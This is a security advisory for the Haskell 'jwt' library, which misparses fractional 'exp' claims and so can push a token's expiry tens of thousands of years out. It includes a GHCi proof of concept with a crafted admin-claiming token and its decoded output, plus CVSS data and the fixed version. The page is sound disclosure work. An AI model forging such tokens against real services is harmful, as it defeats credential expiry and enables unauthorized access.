HSEC-2026-0010 json
Improper parsing of fractional NumericDate from JWT exp claims
published 2026-09-29 40 d ago modified 2026-09-29 40 d ago
- cvss
- 4.0
- version 3.1, OSV
- cisa kev
- Not listed
- not in CISA's catalog
- epss
- —
- no score, EPSS covers CVEs only
- public exploits
- 0
- none known
Summary
# Improper parsing of fractional `NumericDate` from JWT `exp` claims
Since its [initial commit][], package jwt uses [`Data.Scientific.coefficient`][scientific] to extract the fractional mantissa in a way that improperly *discards the exponent*. This can lead to incorrect parsing of the `exp` claim in JWT payload body.
PoC:
```haskell cabal repl --build-depends jwt==0.11.0
import Web.JWT :set -XOverloadedStrings
let signer = VerifyHMACSecret "dummy-signing-symmetric-hmac-key.not-so-secret" let exploit = "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkhvbmVzdCBKb2UiLCJhZG1pbiI6dHJ1ZSwiaWF0IjoxNzkwMTY2Nzg2LCJleHAiOjE3OTAxNzAzODYuMDAwMX0.xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o" -- { -- "sub": "1234567890", -- "name": "Honest Joe", -- "admin": true, -- "iat": 1790166786, -- "exp": 1790170386.0001 -- } λλ ➔ Just whoops = Web.JWT.decodeAndVerifySignature signer exploit λ λλ ➔ whoops Verified (JOSEHeader {typ = Just "JWT", cty = Nothing, alg = Just HS256, kid = Nothing}) (JWTClaimsSet {iss = Nothing, sub = Just 1234567890, aud = Nothing, exp = Just (NumericDate 17901703860001), nbf = Nothing, iat = Just (NumericDate 1790166786), jti = Nothing, unregisteredClaims = ClaimsMap {unClaimsMap = fromList [("admin",Bool True),("name",String "Honest Joe")]}}) (Signature "xQyl3rBYtVTxPL_VXSawSSmZkuF4MzOkzwdQGJFjE2o") λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.iat . claims $ whoops Just 1790166786s λ λλ ➔ fmap secondsSinceEpoch . Web.JWT.exp . claims $ whoops Just 17901703860001s ```
The encoded claim `exp = 1790170386.0001` is: 1. Explicitly allowed by RFC 7519 [section 2][rfc-2] to contain fractional part (*"... non-integer values can be represented."*); 2. Decodes correctly as `2026-09-23T12:33:06.0001` (including in JS implementations on jwt.io & token.dev); 3. Decodes incorrectly as `569252-05-30T12:40:01` (== posix epoch `17901703860001`) by the `jwt` library. ``` >>> import Data.Time.Format.ISO8601 >>> import Data.Time.Clock.POSIX >>> >>> iso8601Show $ posixSecondsToUTCTime 1790166786 "2026-09-23T12:33:06Z" >>> >>> iso8601Show $ posixSecondsToUTCTime 17901703860001 "569252-05-30T12:40:01Z" ``` This happens because jwt's `instance FromJSON NumericDate` only extracts the parsed `coefficient` while ignoring [`base10Exponent`][scientific], which in this case becomes negative non-zero.
Since the standard `exp` claim carries credential expiration time:
> ### [4.1.4][rfc-4.1.4]. "exp" (Expiration Time) Claim > > The "exp" (expiration time) claim identifies the expiration time on > or after which the JWT MUST NOT be accepted for processing. The > processing of the "exp" claim requires that the current date/time > MUST be before the expiration date/time listed in the "exp" claim.
— this parsing mistake of dropping the exponent can have security-relevant consequences, should an attacker be able to forge JWTs with fractional expiry dates and get them fed into software that uses the `jwt` library for consuming JWTs.
[initial commit]: https://github.com/puffnfresh/haskell-jwt/commit/76567342c71f62f3f7554da8987579d90e532209 [rfc-2]: https://www.rfc-editor.org/info/rfc7519/#section-2 [rfc-4.1.4]: https://www.rfc-editor.org/info/rfc7519/#section-4.1.4 [scientific]: https://hackage-content.haskell.org/package/scientific-0.3.8.1/docs/Data-Scientific.html#g:2
Patch / fix
CVSS scores
| assigned by | version | score | vector |
|---|---|---|---|
| OSV | 3.1 | 4.0 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:L/A:N/E:P/RL:W/RC:C/IR:H/MAV:N/MAC:H/MPR:N/MUI:N/MS:C/MC:N/MI:L/MA:N |
Affected packages
| ecosystem | package | affected | fixed in |
|---|---|---|---|
| hackage | jwt | >=0.1.0, <0.12.0 |
0.12.0 |
References
Sources
- OSV HSEC-2026-0010
Fencer Vulns keeps one entry per vulnerability: the CVE id wins, then GHSA, and records that alias each other are merged, except that two CVEs always keep separate entries. The same data is available as JSON.